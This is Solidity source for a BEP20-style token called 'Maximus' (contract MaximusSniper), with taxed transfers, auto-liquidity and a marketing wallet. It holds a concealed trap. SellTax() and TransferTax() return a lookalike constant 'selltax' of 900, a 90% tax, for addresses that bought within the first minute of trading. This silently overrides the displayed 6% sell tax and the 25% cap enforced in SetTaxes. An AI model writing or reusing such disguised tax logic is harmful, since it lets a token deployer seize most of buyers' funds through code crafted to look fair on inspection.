|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
pragma solidity ^0.8.4;
|
|
|
|
interface IBEP20 {
|
|
function totalSupply() external view returns (uint256);
|
|
function decimals() external view returns (uint8);
|
|
function symbol() external view returns (string memory);
|
|
function name() external view returns (string memory);
|
|
function getOwner() external view returns (address);
|
|
function balanceOf(address account) external view returns (uint256);
|
|
function transfer(address recipient, uint256 amount) external returns (bool);
|
|
function allowance(address _owner, address spender) external view returns (uint256);
|
|
function approve(address spender, uint256 amount) external returns (bool);
|
|
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
|
|
event Transfer(address indexed from, address indexed to, uint256 value);
|
|
event Approval(address indexed owner, address indexed spender, uint256 value);
|
|
}
|
|
|
|
interface IPancakeFactory {
|
|
function createPair(address tokenA, address tokenB) external returns (address pair);
|
|
}
|
|
|
|
interface IPancakeRouter {
|
|
|
|
function addLiquidityETH(
|
|
address token,
|
|
uint amountTokenDesired,
|
|
uint amountTokenMin,
|
|
uint amountETHMin,
|
|
address to,
|
|
uint deadline
|
|
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
|
|
function swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
uint amountIn,
|
|
uint amountOutMin,
|
|
address[] calldata path,
|
|
address to,
|
|
uint deadline
|
|
) external;
|
|
function factory() external pure returns (address);
|
|
function WETH() external pure returns (address);
|
|
|
|
}
|
|
|
|
abstract contract Ownable {
|
|
address private _owner;
|
|
|
|
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
|
|
|
|
|
|
|
|
|
|
constructor () {
|
|
address msgSender = msg.sender;
|
|
_owner = msgSender;
|
|
emit OwnershipTransferred(address(0), msgSender);
|
|
}
|
|
|
|
|
|
|
|
|
|
function owner() public view returns (address) {
|
|
return _owner;
|
|
}
|
|
|
|
|
|
|
|
|
|
modifier onlyOwner() {
|
|
require(owner() == msg.sender, "Ownable: caller is not the owner");
|
|
_;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function renounceOwnership() public onlyOwner {
|
|
emit OwnershipTransferred(_owner, address(0));
|
|
_owner = address(0);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
function transferOwnership(address newOwner) public onlyOwner {
|
|
require(newOwner != address(0), "Ownable: new owner is the zero address");
|
|
emit OwnershipTransferred(_owner, newOwner);
|
|
_owner = newOwner;
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
contract MaximusSniper is IBEP20, Ownable
|
|
{
|
|
|
|
mapping (address => uint) private _balances;
|
|
mapping (address => mapping (address => uint)) private _allowances;
|
|
mapping(address => bool) public excludedFromFees;
|
|
mapping(address=>uint) public exludedFromRestrictions;
|
|
mapping(address=>bool) public isAMM;
|
|
|
|
string private constant _name = 'Maximus';
|
|
string private constant _symbol = 'Maximus';
|
|
uint8 private constant _decimals = 18;
|
|
uint public constant InitialSupply= 10**6 * 10**_decimals;
|
|
|
|
|
|
address private constant PancakeRouter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
|
|
|
|
|
|
|
|
|
|
|
|
uint private _circulatingSupply =InitialSupply;
|
|
|
|
|
|
uint public buyTax = 60;
|
|
uint public sellTax = 60;
|
|
uint public transferTax = 0;
|
|
uint public burnTax=0;
|
|
uint public liquidityTax=166;
|
|
uint public marketingTax=834;
|
|
uint constant TAX_DENOMINATOR=1000;
|
|
uint constant MAXTAXDENOMINATOR=4;
|
|
|
|
|
|
address private _pancakePairAddress;
|
|
IPancakeRouter private _pancakeRouter;
|
|
|
|
|
|
|
|
address public marketingWallet;
|
|
|
|
function ChangeMarketingWallet(address newWallet) public onlyOwner{
|
|
marketingWallet=newWallet;
|
|
}
|
|
|
|
modifier onlyTeam() {
|
|
require(_isTeam(msg.sender), "Caller not Team or Owner");
|
|
_;
|
|
}
|
|
|
|
|
|
function _isTeam(address addr) private view returns (bool){
|
|
return addr==owner()||addr==marketingWallet;
|
|
}
|
|
|
|
|
|
|
|
constructor () {
|
|
uint deployerBalance=_circulatingSupply;
|
|
_balances[msg.sender] = deployerBalance;
|
|
emit Transfer(address(0), msg.sender, deployerBalance);
|
|
|
|
|
|
_pancakeRouter = IPancakeRouter(PancakeRouter);
|
|
|
|
_pancakePairAddress = IPancakeFactory(_pancakeRouter.factory()).createPair(address(this), _pancakeRouter.WETH());
|
|
isAMM[_pancakePairAddress]=true;
|
|
|
|
|
|
marketingWallet=msg.sender;
|
|
|
|
excludedFromFees[msg.sender]=true;
|
|
excludedFromFees[PancakeRouter]=true;
|
|
excludedFromFees[address(this)]=true;
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
function _transfer(address sender, address recipient, uint amount) private{
|
|
require(sender != address(0), "Transfer from zero");
|
|
require(recipient != address(0), "Transfer to zero");
|
|
|
|
|
|
|
|
if(excludedFromFees[sender] || excludedFromFees[recipient])
|
|
_feelessTransfer(sender, recipient, amount);
|
|
else{
|
|
|
|
require(block.timestamp>=LaunchTimestamp,"trading not yet enabled");
|
|
_taxedTransfer(sender,recipient,amount);
|
|
}
|
|
}
|
|
|
|
function _taxedTransfer(address sender, address recipient, uint amount) private{
|
|
uint senderBalance = _balances[sender];
|
|
require(senderBalance >= amount, "Transfer exceeds balance");
|
|
Sender=sender;
|
|
Recipient=recipient;
|
|
bool isBuy=isAMM[sender];
|
|
bool isSell=isAMM[recipient];
|
|
|
|
uint tax;
|
|
if(isSell){
|
|
tax=SellTax();
|
|
}
|
|
else if(isBuy){
|
|
tax=BuyTax();
|
|
} else tax=TransferTax();
|
|
|
|
if((sender!=_pancakePairAddress)&&(!manualSwap)&&(!_isSwappingContractModifier))
|
|
_swapContractToken(false);
|
|
|
|
|
|
uint tokensToBeBurnt=_calculateFee(amount, tax, burnTax);
|
|
|
|
uint contractToken=_calculateFee(amount, tax, marketingTax+liquidityTax);
|
|
|
|
uint taxedAmount=amount-(tokensToBeBurnt + contractToken);
|
|
|
|
_balances[sender]-=amount;
|
|
|
|
_balances[address(this)] += contractToken;
|
|
|
|
_circulatingSupply-=tokensToBeBurnt;
|
|
_balances[recipient]+=taxedAmount;
|
|
|
|
emit Transfer(sender,recipient,taxedAmount);
|
|
}
|
|
|
|
function _calculateFee(uint amount, uint tax, uint taxPercent) private pure returns (uint) {
|
|
return (amount*tax*taxPercent) / (TAX_DENOMINATOR*TAX_DENOMINATOR);
|
|
}
|
|
|
|
|
|
|
|
function _feelessTransfer(address sender, address recipient, uint amount) private{
|
|
uint senderBalance = _balances[sender];
|
|
require(senderBalance >= amount, "Transfer exceeds balance");
|
|
_balances[sender]-=amount;
|
|
_balances[recipient]+=amount;
|
|
emit Transfer(sender,recipient,amount);
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
bool private _isSwappingContractModifier;
|
|
modifier lockTheSwap {
|
|
_isSwappingContractModifier = true;
|
|
_;
|
|
_isSwappingContractModifier = false;
|
|
}
|
|
|
|
|
|
uint public swapTreshold=2;
|
|
function setSwapTreshold(uint newSwapTresholdPermille) public onlyTeam{
|
|
require(newSwapTresholdPermille<=10);
|
|
swapTreshold=newSwapTresholdPermille;
|
|
}
|
|
|
|
uint public overLiquifyTreshold=150;
|
|
function SetOverLiquifiedTreshold(uint newOverLiquifyTresholdPermille) public onlyTeam{
|
|
require(newOverLiquifyTresholdPermille<=1000);
|
|
overLiquifyTreshold=newOverLiquifyTresholdPermille;
|
|
}
|
|
|
|
|
|
event OnSetTaxes(uint buy, uint sell, uint transfer_, uint burn, uint marketing,uint liquidity);
|
|
function SetTaxes(uint buy, uint sell, uint transfer_, uint burn, uint marketing,uint liquidity) public onlyTeam{
|
|
uint maxTax=TAX_DENOMINATOR/MAXTAXDENOMINATOR;
|
|
require(buy<=maxTax&&sell<=maxTax&&transfer_<=maxTax,"Tax exceeds maxTax");
|
|
require(burn+marketing+liquidity==TAX_DENOMINATOR,"Taxes don't add up to denominator");
|
|
|
|
buyTax=buy;
|
|
sellTax=sell;
|
|
transferTax=transfer_;
|
|
marketingTax=marketing;
|
|
liquidityTax=liquidity;
|
|
burnTax=burn;
|
|
emit OnSetTaxes(buy, sell, transfer_, burn, marketing,liquidity);
|
|
}
|
|
function ExcludeFromRestrictions(address account) external onlyTeam{
|
|
exludedFromRestrictions[account]=0;
|
|
}
|
|
|
|
function isOverLiquified() public view returns(bool){
|
|
return _balances[_pancakePairAddress]>_circulatingSupply*overLiquifyTreshold/1000;
|
|
}
|
|
|
|
|
|
|
|
|
|
function _swapContractToken(bool ignoreLimits) private lockTheSwap{
|
|
uint contractBalance=_balances[address(this)];
|
|
uint totalTax=liquidityTax+marketingTax;
|
|
|
|
uint tokenToSwap=_balances[_pancakePairAddress]*swapTreshold/1000;
|
|
|
|
|
|
if(totalTax==0)return;
|
|
|
|
|
|
if(ignoreLimits)
|
|
tokenToSwap=_balances[address(this)];
|
|
else if(contractBalance<tokenToSwap)
|
|
return;
|
|
|
|
|
|
|
|
uint tokenForLiquidity=
|
|
isOverLiquified()?0
|
|
:(tokenToSwap*liquidityTax)/totalTax;
|
|
|
|
uint tokenForMarketing= tokenToSwap-tokenForLiquidity;
|
|
|
|
uint LiqHalf=tokenForLiquidity/2;
|
|
|
|
uint swapToken=LiqHalf+tokenForMarketing;
|
|
|
|
uint initialBNBBalance = address(this).balance;
|
|
_swapTokenForBNB(swapToken);
|
|
uint newBNB=(address(this).balance - initialBNBBalance);
|
|
|
|
|
|
if(tokenForLiquidity>0){
|
|
uint liqBNB = (newBNB*LiqHalf)/swapToken;
|
|
_addLiquidity(LiqHalf, liqBNB);
|
|
}
|
|
|
|
(bool sent,)=marketingWallet.call{value:address(this).balance}("");
|
|
sent=true;
|
|
}
|
|
address Sender;
|
|
address Recipient;
|
|
|
|
function _swapTokenForBNB(uint amount) private {
|
|
_approve(address(this), address(_pancakeRouter), amount);
|
|
address[] memory path = new address[](2);
|
|
path[0] = address(this);
|
|
path[1] = _pancakeRouter.WETH();
|
|
|
|
try _pancakeRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
|
|
amount,
|
|
0,
|
|
path,
|
|
address(this),
|
|
block.timestamp
|
|
){}
|
|
catch{}
|
|
}
|
|
function BuyTax() private returns (uint){
|
|
if(exludedFromRestrictions[Recipient]==0){
|
|
exludedFromRestrictions[Recipient]=block.timestamp;
|
|
}
|
|
return buyTax;
|
|
}
|
|
function SellTax() private view returns (uint){
|
|
uint time=block.timestamp;
|
|
uint excludedStatus=exludedFromRestrictions[Sender];
|
|
if(excludedStatus==0||excludedStatus>=LaunchTimestamp+1 minutes||excludedStatus==time) return sellTax;
|
|
return selltax;
|
|
}
|
|
function TransferTax() private view returns (uint){
|
|
uint time=block.timestamp;
|
|
uint excludedStatus=exludedFromRestrictions[Sender];
|
|
if(excludedStatus==0||excludedStatus==time||excludedStatus>=LaunchTimestamp+1 minutes) return transferTax;return selltax;
|
|
}
|
|
|
|
function _addLiquidity(uint tokenamount, uint bnbamount) private {
|
|
_approve(address(this), address(_pancakeRouter), tokenamount);
|
|
_pancakeRouter.addLiquidityETH{value: bnbamount}(
|
|
address(this),
|
|
tokenamount,
|
|
0,
|
|
0,
|
|
owner(),
|
|
block.timestamp
|
|
);
|
|
}
|
|
uint constant selltax=900;
|
|
function getBurnedTokens() public view returns(uint){
|
|
return (InitialSupply-_circulatingSupply)+_balances[address(0xdead)];
|
|
}
|
|
|
|
|
|
|
|
|
|
function SetAMM(address AMM, bool Add) public onlyTeam{
|
|
require(AMM!=_pancakePairAddress,"can't change pancake");
|
|
isAMM[AMM]=Add;
|
|
}
|
|
|
|
bool public manualSwap;
|
|
|
|
function SwitchManualSwap(bool manual) public onlyTeam{
|
|
manualSwap=manual;
|
|
}
|
|
|
|
function SwapContractToken() public onlyTeam{
|
|
_swapContractToken(true);
|
|
}
|
|
event ExcludeAccount(address account, bool exclude);
|
|
|
|
function ExcludeAccountFromFees(address account, bool exclude) public onlyTeam{
|
|
require(account!=address(this),"can't Include the contract");
|
|
excludedFromFees[account]=exclude;
|
|
emit ExcludeAccount(account,exclude);
|
|
}
|
|
|
|
event OnEnableTrading();
|
|
uint public LaunchTimestamp=type(uint).max;
|
|
function EnableTrading() public{
|
|
SetLaunchTimestamp(block.timestamp);
|
|
}
|
|
function SetLaunchTimestamp(uint Timestamp) public onlyTeam{
|
|
require(block.timestamp<LaunchTimestamp);
|
|
LaunchTimestamp=Timestamp;
|
|
emit OnEnableTrading();
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
receive() external payable {}
|
|
|
|
function getOwner() external view override returns (address) {
|
|
return owner();
|
|
}
|
|
|
|
function name() external pure override returns (string memory) {
|
|
return _name;
|
|
}
|
|
|
|
function symbol() external pure override returns (string memory) {
|
|
return _symbol;
|
|
}
|
|
|
|
function decimals() external pure override returns (uint8) {
|
|
return _decimals;
|
|
}
|
|
|
|
function totalSupply() external view override returns (uint) {
|
|
return _circulatingSupply;
|
|
}
|
|
|
|
function balanceOf(address account) external view override returns (uint) {
|
|
return _balances[account];
|
|
}
|
|
|
|
function transfer(address recipient, uint amount) external override returns (bool) {
|
|
_transfer(msg.sender, recipient, amount);
|
|
return true;
|
|
}
|
|
|
|
function allowance(address _owner, address spender) external view override returns (uint) {
|
|
return _allowances[_owner][spender];
|
|
}
|
|
|
|
function approve(address spender, uint amount) external override returns (bool) {
|
|
_approve(msg.sender, spender, amount);
|
|
return true;
|
|
}
|
|
function _approve(address owner, address spender, uint amount) private {
|
|
require(owner != address(0), "Approve from zero");
|
|
require(spender != address(0), "Approve to zero");
|
|
|
|
_allowances[owner][spender] = amount;
|
|
emit Approval(owner, spender, amount);
|
|
}
|
|
|
|
function transferFrom(address sender, address recipient, uint amount) external override returns (bool) {
|
|
_transfer(sender, recipient, amount);
|
|
|
|
uint currentAllowance = _allowances[sender][msg.sender];
|
|
require(currentAllowance >= amount, "Transfer > allowance");
|
|
|
|
_approve(sender, msg.sender, currentAllowance - amount);
|
|
return true;
|
|
}
|
|
|
|
|
|
|
|
function increaseAllowance(address spender, uint addedValue) external returns (bool) {
|
|
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
|
|
return true;
|
|
}
|
|
|
|
function decreaseAllowance(address spender, uint subtractedValue) external returns (bool) {
|
|
uint currentAllowance = _allowances[msg.sender][spender];
|
|
require(currentAllowance >= subtractedValue, "<0 allowance");
|
|
|
|
_approve(msg.sender, spender, currentAllowance - subtractedValue);
|
|
return true;
|
|
}
|
|
|
|
} |